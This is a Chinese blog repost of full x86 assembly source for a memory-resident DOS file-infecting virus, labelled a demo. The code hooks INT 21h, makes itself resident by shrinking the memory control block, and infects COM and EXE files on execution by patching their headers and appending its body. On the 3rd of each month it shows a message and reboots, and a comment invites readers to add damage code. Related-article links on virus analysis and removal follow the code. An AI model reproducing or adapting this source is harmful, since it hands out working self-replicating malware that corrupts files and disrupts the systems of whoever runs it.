一个DOS下的驻留病毒Demo

转载 2005年03月03日 10:25:00

;******************************************
;*  A DOS COMPUTER VIRUS                  *
;*  NAME: PRC VIRUS                       *
;*  INFEST COM OR EXE FILE IN DOS SYSTEM  *
;*  COMPLETED ON May 2,2000               *
;******************************************
;*******************************************
;*             Save Registers              *
;*******************************************
pushall macro
  push ax
  push bx
  push cx
  push dx
  push si
  push di
  push bp
  push ds
  push es
endm
;*******************************************
;*            Restore Registers            *
;*******************************************
popall macro
  pop es
  pop ds
  pop bp
  pop di
  pop si
  pop dx
  pop cx
  pop bx
  pop ax
endm
;*******************************************
;*             My Program Start            *
;*******************************************
Code Segment
Assume CS:Code,DS:Code

Org 100h
Start:
  push ds
  push es
  call BaseAddr ; SI saves the base address
BaseAddr:
  pop si
  mov ah,2ah
  int 21h
  cmp dl,03h
  jnz DoNoDamage
;*******************************************
;*    You Can Write Damage Code Here       *
;*******************************************
  mov ah,09h
  push cs
  pop ds
  lea dx,[Msg-BaseAddr][si]
  int 21h
  mov ah,08h
  int 21h
  int 19h
;*********************************************
;*  If It is Not The Right Day,Do No damage  *
;*********************************************
DoNoDamage:
  cmp byte ptr cs:[ComOrExe-BaseAddr][si],EXEFILE
  jz NotRestoreFileHeader
;*******************************************
;*        Restore ComFile Header           *
;*******************************************
  mov cx,word ptr cs:[SaveThreeBytes-BaseAddr][si]
  mov ds:[100h],cx
  mov cl,cs:[SaveThreeBytes+2-BaseAddr][si]
  mov ds:[102h],cl
NotRestoreFileHeader:
  mov ax,cs
  add word ptr cs:[ExecuteOrgFile-BaseAddr+3][si],ax ; Set Original ExeFile Entrance Address
  xor ax,ax
  mov ds,ax
  mov bx,ds:[21h*4]
  push ds:[21h*4+2]
  pop ds
  cmp byte ptr [bx],90h ; Check if the virus code is in memory or not
  jz StopLoading
;**********************************************
;*   Modify MCB To Make Room For The Program  *
;**********************************************
  mov dx,es
  dec dx
  mov ds,dx
  mov ax,ds:[3]
  mov bx,(MyVirusSize+15)/16
  cmp ax,bx
  jb StopLoading
  sub ax,bx
  mov ds:[3],ax
  add dx,ax
  inc dx
;*******************************************
;*     Copy The Virus Code Into Memory     *
;*******************************************
  push cs
  pop ds
  mov es,dx
  mov bx,si ; Save Base Address
  mov cx,MyVirusSize
  sub si,BaseAddr-Start
  xor di,di
  cld
  rep movsb
;*******************************************
;*      Modify Interrupt Vector Table      *
;*******************************************
  xor ax,ax
  mov ds,ax
  push ds:[21h*4]
  pop word ptr es:[OldInt21h-100h]
  push ds:[21h*4+2]
  pop word ptr es:[OldInt21h+2-100h]
  mov ax,2521h
  sub dx,10h
  mov ds,dx
  mov dx,offset ResidentPart
  int 21h
;-----------------------------------------
StopLoading:
  pop es
  pop ds
ExecuteOrgFile: ; Execute The Parasided Exe Or Com File
  ret
  dd 0
;*********************************************************
;*      The Following Program Is Resident In Memory      *
;*********************************************************
ResidentPart:
  nop        ; NOP Is The Signal Of Residence Of Virus Code
  cmp ah,4bh
  jz Infect
  jmp cs:OldInt21h
Infect:
  pushall
;****************************************************
;*      Judge The File Is A ComFile Or ExeFile      *
;****************************************************
  mov al,'.'
  mov di,dx
  mov cx,0ffffh
  rep scasb
  or byte ptr [di],20h
  mov cs:ComOrExe,0
  cmp byte ptr [di],'c'
  jz Lab1
  inc cs:ComOrExe
Lab1:
;*********************************************************
;*   Restore 21H Interrupt Vector To Use INT 21H Sevice  *
;*********************************************************
  push ds
  xor ax,ax
  mov ds,ax
  push word ptr cs:[OldInt21h]
  pop ds:[21h*4]
  push word ptr cs:[OldInt21h+2]
  pop ds:[21h*4+2]
;*******************************************
;*      Hook 24H To Mask Error Process     *
;*******************************************
  push ds:[24h*4]
  pop word ptr cs:[OldInt24h]
  push ds:[24h*4+2]
  pop word ptr cs:[OldInt24h+2]
  mov ds:[24h*4],offset NewInt24h
  mov ax,cs
  mov ds:[24h*4+2],ax
  pop ds
;*******************************************
;*         Modify File Attribute           *
;*******************************************
  mov ax,4300h
  int 21h
  jnc Lab2
  jmp EndInfection3
Lab2:
  push cx ; Remember To Pop It
  or cl,cl
  jz Lab3
  xor cx,cx
  mov ax,4301h
  int 21h
  jnc Lab3
  jmp EndInfection2
;*******************************************
;*             Open The File               *
;*******************************************
Lab3:
  mov ax,3d42h
  int 21h
  jnc Lab4
  jmp EndInfection2
;*******************************************
;*            Load File Header             *
;*******************************************
Lab4:
  mov bx,ax
  push ds ; Remember To Pop It
  push dx ; Remember To Pop It
  mov bp,sp
  sub bp,60h
  mov dx,bp
  push ss
  pop ds
  mov cx,1ch
  mov ah,3fh
  int 21h
;*******************************************
;*             Get The File Size           *
;*******************************************
  mov ax,4202h
  mov cx,0ffffh
  mov dx,-4
  int 21h
  add ax,4
  adc dx,0
  push ax
  push dx
;*******************************************
;*     Read Four Last Bytes Of The File    *
;******************************************* 
  mov ah,3fh
  mov cx,4
  lea dx,[bp+1ch]
  int 21h
  pop dx
  pop ax
;*******************************************
;*   Check If The File Is Infected Or Not  *
;*******************************************
  push cs
  pop es
  lea si,[bp+1ch]
  mov di,offset CheckString
  mov cx,CheckStringLenght
  cld
  rep cmpsb
  jnz Lab5
  jmp EndInfection1
;*******************************************
;* Save The First Three  Bytes Of The File *
;*******************************************
Lab5:
  mov cx,[bp]
  mov word ptr cs:SaveThreeBytes,cx
  mov cl,[bp+02h]
  mov cs:SaveThreeBytes+2,cl
  cmp cs:ComOrExe,EXEFILE
  jz InfectExeFile
;*******************************************
;*           Deal With ComFile             *
;*******************************************
;PUSH_AX_DX:
  push ax
  push dx
  mov byte ptr [bp],0e9h
  sub ax,3
  mov [bp+1],ax
  mov dx,100h
  xor ax,ax
  jmp WriteCode
;*******************************************
;*           Deal With ExeFile             *
;*******************************************
InfectExeFile:
  mov si,ax  ; Compute How Many Bytes Needed To Align Para
  and si,0fh
  mov cx,16
  sub cx,si
  and cx,0fh
  mov si,cx
  add ax,cx
  adc dx,0
;PUSH_AX_DX
  push ax
  push dx
 
  mov cx,16
  div cx
  sub ax,[bp+08h]
  sub ax,16            ; Compute New Code Segment
  xchg [bp+16h],ax     ; ExChange New Code Segment And Old Code Segment
  mov dx,[bp+14h]      ; Save Old Entry IP
  mov word ptr [bp+14h],100h   ; New IP=100h
  sub ax,[bp+16h]      ; Compute Difference Between Old Segment And New Segment
;*******************************************
;*     Append The ExeFile To Align Para    *
;*******************************************
  push ax
  mov cx,si
  jcxz WriteCode
  mov ah,40h
  int 21h
  pop ax
;*******************************************
;*      Write The Code Into The File       *
;*******************************************
WriteCode:
  push cs
  pop ds
  mov byte ptr ExecuteOrgFile,0eah ; Build The Instruction Of "JMP xxxx:xxxx"
  mov word ptr ExecuteOrgFile+1,dx ; In Order To Execute The Oringal File
  mov word ptr ExecuteOrgFile+3,ax
  mov dx,100h
  mov cx,MyVirusSize
  mov ah,40h
  int 21h
;*******************************************
;*        Modify The ExeFile Header        *
;*******************************************
  mov ax,4200h
  xor cx,cx
  xor dx,dx
  int 21h
;-------------------------------------------
POP_DX_AX: 
  pop dx ; Pop To Balance The Stack
  pop ax
;-------------------------------------------
  cmp cs:ComOrExe,COMFILE
  jz Lab6
  add ax,MyVirusSize ; Compute How Many Sectors The File Occupied
  adc dx,0
  mov cx,512
  div cx
  inc ax
  mov [bp+04h],ax
  mov [bp+02h],dx
Lab6:
  push ss
  pop ds
  mov ah,40h
  mov dx,bp
  mov cx,1ch
  int 21h
;*******************************************
;*            Infection Done               *
;*******************************************
EndInfection1:
  pop dx
  pop ds
EndInfection2:
  pop cx
;*******************************************
;*             Close The File              *
;*******************************************
  mov ah,3eh
  int 21h
;*******************************************
;*        Restore The File Attribute       *
;*******************************************
EndInfection3:
  mov ax,4301h
  int 21h
;**************************************************
;*  Let INT 21H Sevice Points Back To Virus Code  *
;**************************************************
  xor ax,ax
  mov ds,ax
  mov ds:[21h*4],offset ResidentPart
  push cs
  pop ds:[21h*4+2]
;**************************************************
;*                Restore INT 24H                 *
;**************************************************
  push word ptr cs:[OldInt24h]
  pop ds:[24h*4]
  push word ptr cs:[OldInt24h+2]
  pop ds:[24h*4+2]
  popall
  jmp dword ptr cs:OldInt21h
NewInt24h:
  iret
;*******************************************
;*              Data Area                  *
;*******************************************
  OldInt21h dd ?
  OldInt24h dd ?
  ComOrExe db ?
  Msg db 'THIS IS A DOS COMPUTER VIRUS!',0dh,0ah,'$'
  SaveThreeBytes db 1eh,06h,0e8h
  CheckString db 'PRC V1.0 FOR DOS'
;*******************************************
;*             System Constant             *
;*******************************************
  CheckStringLenght = $ - CheckString
  MyVirusSize = $ - Start
  COMFILE = 0
  EXEFILE = 1
;-----------------------------------------
Code Ends
  End Start


相关文章推荐

【笔记】对一个DOS病毒的分析

; .COM overwriting virus written with the [Damien] Vlab 2.0 SIZE EQU [VIRUS_END] - [V...

dos下删除病毒autorun.inf

今天有个同学的电脑中病毒了,但是电脑里有很多重要的东西,中的病毒式autorun.inf 非常顽固的老病毒,只要删除不干净,就会立即快速的复制,把电脑里的东西都给植入这种文件,这种文件一般是在根目录下...

DOS命令防病毒

早在几年前,就有先知先觉的网友感叹道:人在网上漂,哪能不中标。如今,电脑中招更是成了家常便饭。面对来势汹汹的病毒木马们,杀毒软件和防火墙自然是一个都不能少。但有时还是有许多仅仅依靠杀毒软件和防火墙对付...

dos下删除病毒autorun.inf

今天有个同学的电脑中病毒了,但是电脑里有很多重要的东西,中的病毒式autorun.inf 非常顽固的老病毒,只要删除不干净,就会立即快速的复制,把电脑里的东西都给植入这种文件,这种文件一般是在根目录下...

一个病毒的脱壳及修复

这是一个最近比较流行的使用.net加壳的病毒脱去.net壳后的一个中间体。脱壳和修复 过程不是很复杂,但还是需要一些小技巧。     未脱壳的代码如下图所示: 401535前面都是壳代...

除ms-dos.com病毒

一个感染型的病毒逆向分析

作者:Fly2015 其实对于病毒分析人员来讲,会逆向分析汇编代码只是一个方面,一名出色的病毒分析人员不但要会分析汇编代码还要会总结病毒的行为。因为病毒分析报告是给看不懂这些汇编代码人员看的。一份好...
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:深度学习:神经网络中的前向传播和反向传播算法推导
举报原因:
原因补充:

(最多只允许输入30个字)